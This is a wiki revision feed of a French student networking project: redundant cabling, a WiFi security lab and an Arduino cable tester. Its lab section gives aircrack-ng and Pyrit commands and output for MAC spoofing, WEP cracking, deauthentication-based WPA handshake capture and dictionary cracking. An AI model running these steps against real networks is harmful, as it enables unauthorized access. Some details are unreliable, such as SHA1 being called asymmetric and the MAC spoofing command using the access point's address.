    2    0/  1   55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824) &lt;br /&gt;
    3   13/  3   79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800) &lt;br /&gt;
    4    1/  4   CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824) &lt;br /&gt;
&lt;br /&gt;
     KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==== Accès par filtrage WPA ====&lt;br /&gt;
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/perl&lt;br /&gt;
my $ite = 0;&lt;br /&gt;
my $max = 1000000;&lt;br /&gt;
my $outp;&lt;br /&gt;
my $tmp;&lt;br /&gt;
for (my $j=0; $j &amp;lt; 100; $j++)&lt;br /&gt;
{&lt;br /&gt;
    $tmp = sprintf(&amp;quot;[%02d]\n&amp;quot;, $j);                                                                                                                                                               &lt;br /&gt;
    print STDERR $tmp;&lt;br /&gt;
    for (my $i=0; $i &amp;lt; ($max); $i++)&lt;br /&gt;
    {&lt;br /&gt;
        $outp = sprintf(&amp;quot;%08d\n&amp;quot;, $ite);&lt;br /&gt;
        $ite++;&lt;br /&gt;
        print $outp;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous lançons donc la génération avec la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ./gen.pl &amp;gt; dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
859M -rw-r--r-- 1 root root 859M nov.  13 09:41 dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau &amp;quot;Almost Secure WiFi&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# airodump-ng --channel 6 --essid &amp;quot;Almost Secure WiFI&amp;quot; -w dmp wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis, nous désauthentifions les clients déjà connectés pour récupérer le &amp;quot;handshake&amp;quot; qui permettra le décryptage de la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aireplay-ng -0 5 -e &amp;quot;Almost Secure WiFI&amp;quot; wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois la désauthentification envoyée, nous récupérons le &amp;quot;handshake&amp;quot; durant la reconnection des clients.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 2370 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:13:46:79:6A:1C  Almost Secure WiFI        WPA (1 handshake)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Attaque par dictionnaire=====&lt;br /&gt;
A partir du moment où nous disposons du &amp;quot;handshake&amp;quot;, deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng -w dico.txt *.cap&lt;br /&gt;
                                 Aircrack-ng 1.2 beta3&lt;br /&gt;
                   [00:58:30] 12121212 keys tested (3659.24 k/s)&lt;br /&gt;
                           KEY FOUND! [ 12121212 ]&lt;br /&gt;
      Master Key     : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62&lt;br /&gt;
                       F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45&lt;br /&gt;
      Transient Key  : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF&lt;br /&gt;
                       68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8&lt;br /&gt;
                       45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28&lt;br /&gt;
                       A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E&lt;br /&gt;
      EAPOL HMAC     : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.&lt;br /&gt;
=====Attaque par Rainbow Tables=====&lt;br /&gt;
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une &amp;quot;rainbow table&amp;quot; est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -e 'Almost Secure WiFI' create_essid&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Created ESSID 'Almost Secure WiFI'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la &amp;quot;rainbow table&amp;quot;. On remarqera que cette étape prend entre 5 à 10 secondes.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -i ./dic.txt import_passwords&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
100000000 lines read. Flushing buffers... ..&lt;br /&gt;
All done.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, nous devons générer la &amp;quot;rainbow table&amp;quot;. Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit benchmark&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Running benchmark (25147.5 PMKs/s)... \&lt;br /&gt;
&lt;br /&gt;
Computed 25147.53 PMKs/s total.&lt;br /&gt;
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)&lt;br /&gt;
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)&lt;br /&gt;
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)&lt;br /&gt;
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la &amp;quot;rainbow table&amp;quot; qui prendra environ une heure.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que la &amp;quot;rainbow table&amp;quot; est générée, nous lançons l'attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -r *.cap attack_batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Parsing file 'dmp-01.cap' (1/1)...&lt;br /&gt;
Parsed 270 packets (270 802.11-packets), got 1 AP(s)&lt;br /&gt;
&lt;br /&gt;
Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.&lt;br /&gt;
Attacking handshake with station 00:0c:e7:41:68:29&lt;br /&gt;
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second&lt;br /&gt;
&lt;br /&gt;
The password is '12121212'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par &amp;quot;rainbow tables&amp;quot; est donc largement plus performante.&lt;br /&gt;
&lt;br /&gt;
=====Algorithme de génération de PMK=====&lt;br /&gt;
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:&lt;br /&gt;
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)&lt;br /&gt;
*[PASSWORD] Le mot de passe&lt;br /&gt;
*[SALT] Le salage  (ici l'ESSID)&lt;br /&gt;
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)&lt;br /&gt;
*[LEN] La longueur du résultat de la fonction (ici 256)&lt;br /&gt;
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Où les &amp;quot;Un&amp;quot; sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))&lt;br /&gt;
U2 = PRF(PASSWORD, U1)&lt;br /&gt;
...&lt;br /&gt;
Uc = PRF(PASSWORD, Ucount-1)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:&lt;br /&gt;
*[KEY] la clé utilisée pour encoder le message&lt;br /&gt;
*[MSG] le message à encoder&lt;br /&gt;
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)&lt;br /&gt;
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)&lt;br /&gt;
Le principe de fonctionnement est le suivant:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function HMAC(KEY, MSG, H, HLEN)&lt;br /&gt;
    if(length(KEY) &amp;gt; HLEN)&lt;br /&gt;
        KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H&lt;br /&gt;
    if(length(KEY) &amp;lt; HLEN)&lt;br /&gt;
        KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))&lt;br /&gt;
&lt;br /&gt;
    opad_key = (opad * HLEN) ^ KEY;&lt;br /&gt;
    ipad_key = (ipad * HLEN) ^ KEY;&lt;br /&gt;
&lt;br /&gt;
    return H(opad_key || H(ipad_key || MSG)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans cette fonction:&lt;br /&gt;
*L'opérateur || désigne la concaténation directe tel que &amp;quot;J'aime le&amp;quot;||&amp;quot; poulet&amp;quot; est égale à &amp;quot;J'aime le poulet&amp;quot;&lt;br /&gt;
*L'opérateur * désigne la répétition de l'élément tel que &amp;quot;J&amp;quot;*4 est égale à &amp;quot;JJJJ&amp;quot;&lt;br /&gt;
*L'opérateur ^ désigne l'opérateur XOR logique&lt;br /&gt;
*La variable opad est une constance valant 0x5C&lt;br /&gt;
*La variable ipad est une constance valant 0x36&lt;br /&gt;
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function SHA1(PASS)&lt;br /&gt;
    h0 = 0x67452301&lt;br /&gt;
    h1 = 0xEFCDAB89&lt;br /&gt;
    h2 = 0x98BADCFE&lt;br /&gt;
    h3 = 0x10325476&lt;br /&gt;
    h4 = 0xC3D2E1F0&lt;br /&gt;
    ml = message length in bits (always a multiple of the number of bits in a character).&lt;br /&gt;
&lt;br /&gt;
    append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.&lt;br /&gt;
    append 0 ≤ k &amp;lt; 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)&lt;br /&gt;
    append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.&lt;br /&gt;
&lt;br /&gt;
    break message into 512-bit chunks&lt;br /&gt;
    for each chunk&lt;br /&gt;
        break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15&lt;br /&gt;
&lt;br /&gt;
        //Extend the sixteen 32-bit words into eighty 32-bit words:&lt;br /&gt;
        for i from 16 to 79&lt;br /&gt;
            w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1&lt;br /&gt;
&lt;br /&gt;
        //Initialize hash value for this chunk:&lt;br /&gt;
        a = h0&lt;br /&gt;
        b = h1&lt;br /&gt;
        c = h2&lt;br /&gt;
        d = h3&lt;br /&gt;
        e = h4&lt;br /&gt;
&lt;br /&gt;
        //Main loop&lt;br /&gt;
        for i from 0 to 79&lt;br /&gt;
            if 0 ≤ i ≤ 19 then&lt;br /&gt;
                f = (b and c) or ((not b) and d)&lt;br /&gt;
                k = 0x5A827999&lt;br /&gt;
            else if 20 ≤ i ≤ 39&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0x6ED9EBA1&lt;br /&gt;
            else if 40 ≤ i ≤ 59&lt;br /&gt;
                f = (b and c) or (b and d) or (c and d) &lt;br /&gt;
                k = 0x8F1BBCDC&lt;br /&gt;
            else if 60 ≤ i ≤ 79&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0xCA62C1D6&lt;br /&gt;
&lt;br /&gt;
            temp = (a leftrotate 5) + f + e + k + w[i]&lt;br /&gt;
            e = d&lt;br /&gt;
            d = c&lt;br /&gt;
            c = b leftrotate 30&lt;br /&gt;
            b = a&lt;br /&gt;
            a = temp&lt;br /&gt;
&lt;br /&gt;
            //Add this chunk's hash to result so far:&lt;br /&gt;
            h0 = h0 + a&lt;br /&gt;
            h1 = h1 + b &lt;br /&gt;
            h2 = h2 + c&lt;br /&gt;
            h3 = h3 + d&lt;br /&gt;
            h4 = h4 + e&lt;br /&gt;
&lt;br /&gt;
            //Produce the final hash value (big-endian) as a 160 bit number:&lt;br /&gt;
            hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== La partie bonus ==&lt;br /&gt;
&lt;br /&gt;
Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un CiscoChecker permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation de l'écran LCD ===&lt;br /&gt;
&lt;br /&gt;
Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.&lt;br /&gt;
&lt;br /&gt;
Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX.&lt;br /&gt;
&lt;br /&gt;
Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.&lt;br /&gt;
&lt;br /&gt;
Voici à quoi ressemble une de nos lettres :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
const char	letter_A[] PROGMEM = {&lt;br /&gt;
	0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,&lt;br /&gt;
	0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,&lt;br /&gt;
	0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,&lt;br /&gt;
	0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.&lt;br /&gt;
&lt;br /&gt;
Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation du lecteur de carte SD ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Communication avec le matériel Cisco ===&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir tester le réseau notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=23052</id>
		<title>PRA 2015 - Câblage d'un réseau redondant</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=23052"/>
				<updated>2015-11-19T13:18:29Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.&lt;br /&gt;
== Câblage du résau ==&lt;br /&gt;
=== Le réseau idéal ===&lt;br /&gt;
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Idéal.png]]&lt;br /&gt;
&lt;br /&gt;
Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.&lt;br /&gt;
&lt;br /&gt;
=== L'avancement du cablage du réseau ===&lt;br /&gt;
&lt;br /&gt;
L'image suivante détaille l'état du réseau avant le 07/10/2015.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Temporaire.png]]&lt;br /&gt;
&lt;br /&gt;
Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.&lt;br /&gt;
&lt;br /&gt;
== La partie commune ==&lt;br /&gt;
=== Les tests de sécurisation de réseaux WiFi ===&lt;br /&gt;
==== Accès par filtrage MAC ====&lt;br /&gt;
Nous avons commencé par effectué une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisé sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng start wlan0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons surveillé le réseau WiFi, nommé &amp;quot;baguette&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26&lt;br /&gt;
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -63        9        0    0   4  54e. OPN              baguette&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On spécifie alors le canal et le BSSID à utiliser pour plus de précision.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH  4 ][ Elapsed: 18 s ][ 2015-10-22 13:29                                           &lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -52 100      146        1    0   4  54e. OPN              baguette                                                                                                               &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR   Rate    Lost    Frames  Probe                 &lt;br /&gt;
C4:14:3C:40:78:60  00:15:AF:E7:19:F3  -59    0 - 5e     0        1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ifconfig wlan1 hw ether C4:14:3C:40:78:60&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Accès par filtrage WEP ====&lt;br /&gt;
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airmon-ng &lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
&lt;br /&gt;
#airmon-ng start wlan3&lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
		(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)&lt;br /&gt;
		(mac80211 station mode vif disabled for [phy1]wlan3)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng wlan3mon&lt;br /&gt;
CH  9 ][ Elapsed: 0 s ][ 2015-11-12 11:58                                         &lt;br /&gt;
                                                                                                                                                                                                     &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                &lt;br /&gt;
 00:23:5E:1E:05:48  -57        2        0    0   7  54e. OPN              cracotte09                                                                                                                 &lt;br /&gt;
